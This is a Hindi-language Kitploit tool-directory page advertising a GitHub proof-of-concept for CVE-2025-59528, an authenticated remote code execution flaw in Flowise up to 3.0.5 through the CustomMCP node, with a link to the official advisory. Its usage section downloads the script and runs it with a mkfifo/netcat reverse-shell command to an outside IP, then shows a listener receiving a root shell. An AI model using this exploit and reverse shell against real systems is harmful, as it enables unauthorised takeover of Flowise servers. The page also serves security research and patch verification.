Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/corey-farley/cve-2025-59528-flowise-rce
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHubcorey-farley/cve-2025-59528-flowise-rce

CVE-2025-59528-Flowise-RCE

Authenticated RCE PoC Flowise संस्करण <= 3.0.5 के लिए CustomMCP Node के माध्यम से (CVE-2025-59528)

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
3 महीने पहलेअभी तक समीक्षित नहीं

CVE-2025-59528-Flowise-RCE

Flowise संस्करण <= 3.0.5 के लिए प्रमाणित RCE PoC, CustomMCP Node (CVE-2025-59528) के माध्यम से

आधिकारिक GHSA का लिंक: https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3gcm-f6qx-ff7p

रिवर्स शेल के लिए उदाहरण उपयोग:

root@kitploit:~
curl -sSLO 'https://raw.githubusercontent.com/corey-farley/CVE-2025-59528-Flowise-RCE/main/CVE-2025-59528.py'

chmod +x CVE-2025-59528.py

./CVE-2025-59528.py -t 'http://target.com' -k 'API_KEY' -cmd 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.15.200 443 >/tmp/f'

लिसनर की जाँच करें और यह काम करना चाहिए:

root@kitploit:~
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.64.221] 43393
sh: can't access tty; job control turned off
/ # whoami
root
टूल डाउनलोड करें